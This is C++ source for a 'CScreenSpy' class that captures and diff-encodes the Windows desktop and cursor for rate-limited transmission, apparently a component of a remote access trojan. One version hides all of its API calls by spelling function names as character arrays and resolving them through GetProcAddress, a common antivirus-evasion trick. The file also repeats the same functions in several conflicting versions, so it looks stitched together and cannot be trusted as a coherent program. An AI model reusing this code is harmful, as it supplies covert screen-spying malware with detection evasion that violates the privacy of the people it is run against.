LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// 重置rect缓冲区指针
m_rectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// 鼠标位置发变化并且热点区域如果发生变化，以(发生变化的行 + DEF_STEP)向下扫描
// 向上提
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
// 限制发送帧的速度
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(10);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_rectBuffer;
}
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
if (!SelectInputWinStation())
{
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
}
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// 足够了
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_rectBufferOffset = 0;
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
m_rectBufferOffset = 0;
// 写入光标位置
POINT CursorPos;
GetCursorPos(&CursorPos);
memcpy(m_rectBuffer + m_rectBufferOffset, (LPBYTE)&CursorPos, sizeof(POINT));
// rectBuffer 偏移增量
m_rectBufferOffset += sizeof(POINT);
LPDWORD p1, p2;
int j;
for (int i = m_nStartLine; i < m_nFullHeight; i += DEF_STEP)
{
::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, i, SRCCOPY);
// 0 是最后一行
p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - i) * m_nFullWidth * m_biBitCount / 8));
p2 = (PDWORD)m_lpvLineBits;
::SetRect(&m_changeRect, -1, i - DEF_STEP, -1, i + DEF_STEP * 2);
j = 0;
while (j < m_nFullWidth)
{
if (*p1 != *p2)
{
if (m_changeRect.right < 0)
m_changeRect.left = j - OFF_SET;
m_changeRect.right = j + OFF_SET;
}
p1++;
p2++;
j += m_nIncSize;
}
if (m_changeRect.right > -1)
{
m_changeRect.left = max(m_changeRect.left, 0);
m_changeRect.top = max(m_changeRect.top, 0);
m_changeRect.right = min(m_changeRect.right, m_nFullWidth);
m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight);
// 复制改变的区域
CopyRect(&m_changeRect);
i += DEF_STEP;
}
}
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
// 限制发送帧的速度
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(1);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_rectBuffer;
}
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
char DYrEN66[] = {'G','e','t','D','C','\0'};
GetDCT pGetDC=(GetDCT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN66);
char DYrEN67[] = {'G','e','t','D','e','s','k','t','o','p','W','i','n','d','o','w','\0'};
GetDesktopWindowT pGetDesktopWindow=(GetDesktopWindowT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67);
if (!SelectInputWinStation())
{
m_hDeskTopWnd = pGetDesktopWindow();
m_hFullDC = pGetDC(m_hDeskTopWnd);
}
m_dwBitBltRop = SRCCOPY;
char DYrEN68[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'};
GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN68);
char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法
m_dwLastCapture = pGetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
// m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
// m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_nFullWidth = pGetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = pGetSystemMetrics(SM_CYSCREEN);
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
char DYrEN75[] = {'C','r','e','a','t','e','C','o','m','p','a','t','i','b','l','e','D','C','\0'};
CreateCompatibleDCT pCreateCompatibleDC=(CreateCompatibleDCT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN75);
// m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
// m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
// m_hLineMemDC = ::CreateCompatibleDC(NULL);
// m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_hFullMemDC = pCreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = pCreateCompatibleDC(m_hFullDC);
m_hLineMemDC = pCreateCompatibleDC(NULL);
m_hRectMemDC = pCreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'};
CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72);
// m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
// m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
// m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
m_hLineBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'};
SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80);
// ::SelectObject(m_hFullMemDC, m_hFullBitmap);
// ::SelectObject(m_hLineMemDC, m_hLineBitmap);
// ::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
pSelectObject(m_hFullMemDC, m_hFullBitmap);
pSelectObject(m_hLineMemDC, m_hLineBitmap);
pSelectObject(m_hDiffMemDC, m_hDiffBitmap);
char DmDjm02[] = {'S','e','t','R','e','c','t','\0'};
SetRectT pSetRect=(SetRectT)GetProcAddress(LoadLibrary("USER32.dll"),DmDjm02);
// ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
pSetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// 足够了
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// 重置rect缓冲区指针
m_rectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
pGetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// 鼠标位置发变化并且热点区域如果发生变化，以(发生变化的行 + DEF_STEP)向下扫描
// 向上提
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
// 限制发送帧的速度
char FBwWp25[] = {'S','l','e','e','p','\0'};
SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
pSleep(1);
char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());
return m_rectBuffer;
}
